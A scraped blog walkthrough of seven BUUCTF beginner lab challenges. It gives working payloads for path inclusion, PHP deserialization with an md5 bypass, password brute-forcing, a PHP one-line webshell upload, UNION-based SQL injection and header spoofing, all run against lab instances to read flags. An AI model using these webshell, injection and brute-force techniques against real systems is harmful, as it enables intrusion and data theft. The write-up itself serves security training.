当前位置： 首页 > news >正文

成都企业网站建设公司/西安网络seo公司

news 2025/7/1 18:53:03
成都企业网站建设公司,西安网络seo公司,沈阳好的男科医院是哪一家,已有域名怎么建设网站buuctf Basic 1.Linux Labs 根据提示我们可以知道需要远程连接linux服务器，这里使用xshell进行如下配置 输入ssh的用户名root，密码123456 连接成功 构造命令 ls …/ 查看文件 查看flag cat …/flag.txt 为flag{8fee8783-1ed5-4b67-90eb-a1d603a0208…

buuctf Basic

1.Linux Labs

在这里插入图片描述

根据提示我们可以知道需要远程连接linux服务器，这里使用xshell进行如下配置

在这里插入图片描述

输入ssh的用户名root，密码123456

在这里插入图片描述

连接成功

在这里插入图片描述

构造命令

ls …/

查看文件

在这里插入图片描述

查看flag

cat …/flag.txt

为flag{8fee8783-1ed5-4b67-90eb-a1d603a02080}

在这里插入图片描述

2.BUU LFI COURSE 1

访问url：

http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/

审查源代码，可以发现是通过get方式对file进行传参

在这里插入图片描述

构造payload：

http://1dfbd1cf-beb9-496d-866d-d8be04ecc4fe.node3.buuoj.cn/?file=/flag

获取flag为flag{f2be8efe-aafb-4272-9026-15daa6109822}

在这里插入图片描述

3.BUU CODE REVIEW 1

访问url

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/

审查源码

<?php
/*** Created by PhpStorm.* User: jinzhao* Date: 2019/10/6* Time: 8:04 PM*/highlight_file(__FILE__);class BUU {                        //类：BUU               public $correct = "";           //公有属性：$correctpublic $input = "";             //公有属性：$inputpublic function __destruct() {  //公有析构方法__destruct()，在当前类的实例化对象销毁前，自动被调用try {$this->correct = base64_encode(uniqid());      //给correct赋值为base64_encode(uniqid()) //uniqid() 函数基于以微秒计的当前时间，生成一个唯一的 ID。if($this->correct === $this->input) {          //判断两个属性是否全等echo file_get_contents("/flag");           //若全等，则打印根目录下的flag}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {          //GET方法传递pleaseget变量值为1if($_POST['pleasepost'] === '2') {    //POST方法传递pleasepost变量值为2if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {   //POST方法传递md51和md52的内容不同
但是md5值相同unserialize($_POST['obj']);}}
}

编写代码，构造payload

<?php
class BUU{public $correct="";public $input="";
}$obj = new BUU; 
$obj->input=&$obj->correct; BUU类中的correct和input内容强相等，这里利用传引用的方法
echo serialize($obj);
?>

得到的字符串：

O:3:“BUU”:2:{s:7:“correct”;s:0:“”;s:5:“input”;R:2;}

通过数组使用hackbar构造payload1

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

如下

在这里插入图片描述

原理：PHP 当中使用== 来进行比较的时候，系统会自动处理数据类型， 进行分析是数字比较还是字符比较。 而当一个字符串值是0e开头的时候，那么就会被当成数值。而0exxxxxx都为0.

那么就只需要找到两个不同的数值，开头却是以e0开头的即可。如下图中所示。

在这里插入图片描述

通过弱类型使用hackbar构造payload2

http://18edd6f4-f2cd-4c9c-89a7-38c5cd491305.node3.buuoj.cn/?pleaseget=1
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

如下

在这里插入图片描述

得到flag{e8db4533-5be4-4167-823c-99aa37dd11c3}

4.BUU BRUTE 1

访问url

http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/

第一种方式，Python脚本

import requests
url = "http://1ceee8eb-6422-4482-b14b-ff6347146129.node3.buuoj.cn/?username=admin&password="
for i in range(6400, 7000):res = requests.get(url + str(i))print("[*] Try:", i)if res.text != "密码错误，为四位数字。":print(res.text)break

漏洞证明

在这里插入图片描述

第二种方式，burp爆破（注意线程要慢，否则会ban）

在这里插入图片描述

得到flag{410c3a24-9741-48ad-bea2-664880484307}

5.BUU UPLOAD COURSE 1

访问url

http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=upload.php

这是一道上传一句话木马的题，有一个可以提交文件的页面

在这里插入图片描述

写一个普通的 php 脚本，保存改后缀为 .php 尝试上传

<?php echo 'Hello World!'; ?>

页面提示

在这里插入图片描述

可以在 ?file=uploads/6078008f5d264.jpg 查看，有相应的内容回显，说明自定义的 php 脚本被成功执行

在这里插入图片描述

把脚本修改成一句话木马

<?php @eval(system($_POST["x"]));?>

成功上传后

在这里插入图片描述

访问相应的 ?file=uploads/60780125ea642.jpg，页面空白，说明 php 命令被成功执行

hackbar构造payload

http://744b8e7e-1960-4d5e-b864-0818361e1f50.node3.buuoj.cn/index.php?file=uploads/60780125ea642.jpg x=ls

成功拿到 shell

在这里插入图片描述

提交 cat /flag 拿到 flag{75427571-4ee5-4f7c-b97a-b84ad969ca1f}

在这里插入图片描述

6.BUU SQL COURSE 1

访问url

http://ab600305-c94f-49ad-9122-563513c0d4e1.node3.buuoj.cn/#/

首页如下

在这里插入图片描述

审查元素，点击测试新闻1的链接，可以在Network处看到注入点

在这里插入图片描述

接下来就是常规注入，构造payload，查询表名

?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

为admin,contents

在这里插入图片描述

查询admin表中的列名

?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#

为id，username，password

在这里插入图片描述

查询username，password的字段内容

?id=0 union select group_concat(username),group_concat(password) from admin#

为admin，5398f18f7e93f8e45f6ea31bc4105a2d

在这里插入图片描述

得到flag{86ac0951-9f94-4b5e-b19b-07a9a4109c15}

在这里插入图片描述

7.BUU BURP COURSE 1

访问url

http://458d48b9-467d-475b-a1b6-0186d6370927.node3.buuoj.cn/

页面提示

在这里插入图片描述

构造payload

X-Real-IP：127.0.0.1

成功绕过

在这里插入图片描述

构造payload

username=admin&password=wwoj2wio2jw93ey43eiuwdjnewkndjlwe 
X-Real-IP：127.0.0.1

得到flag{1470d887-a1c6-4109-b401-12ccda3cba8d}

在这里插入图片描述

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：儒道易行 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区：
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
http://www.jmfq.cn/news/5316211.html

相关文章：

  • 上海建设企业网站/收录优美图片
  • 干网站建设销售怎么样/seo引擎优化外包
  • 德宏北京网站建设/新站如何让百度快速收录
  • 浙江省建设厅网站高工/一个域名大概能卖多少钱
  • 可信的大连网站建设/谷歌首页
  • 建设电子商务网站的意义/网站品牌推广公司
  • 网站建设的行业资讯、/谷歌paypal官网
  • 网站建设流程的过程/抖音推广平台
  • 苏州公司建设网站首页/企业关键词优化最新报价
  • 网络营销网站规划建设实训作业/快速优化官网
  • 网站建设公司龙华/北京seo公司哪家好
  • 十度网站建设/semir是什么意思
  • 网站建设公开课/seo关键词排行优化教程
  • 网站正在建设中提示页面/优化关键词是什么意思
  • 衡阳县党风廉政建设网站/网络营销的特点有哪些特点
  • 山西太原建设银行招聘网站/seo排名哪家有名
  • 上海杨浦区网站建设/优化seo是什么
  • 青岛做网站建设哪家好/杭州seo推广排名稳定
  • 知识付费网站建设/类似58的推广平台有哪些平台
  • wamp网站建设/南京seo网络优化公司
  • 郑州高端定制网站建设公司/软文写作技巧有哪些
  • 河南省建设工程质量安全监督网站/优化是什么意思?
  • 成都网站建设优秀公司/2022年seo最新优化策略
  • 创意家居网站建设与管理/武汉大学人民医院精神科
  • 许昌网站建设汉狮套餐/百度文库首页
  • 加拿大28网站建设/鼓楼网页seo搜索引擎优化
  • 购物手机网站建设/优化营商环境发言材料
  • 龙岩建设局网站罗小波/网站建设对企业品牌价值提升的影响
  • b2b网站建设规则/seo顾问服务四川
  • 徐州市城乡和住房建设局网站/服务器域名怎么注册